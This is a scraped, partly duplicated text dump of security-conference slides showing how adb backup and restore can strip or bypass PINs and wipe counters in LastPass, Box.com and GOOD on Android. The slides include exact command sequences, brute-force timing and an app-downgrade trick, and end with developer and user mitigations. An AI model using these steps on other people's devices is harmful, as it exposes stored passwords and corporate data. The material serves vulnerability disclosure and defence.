6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 35: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

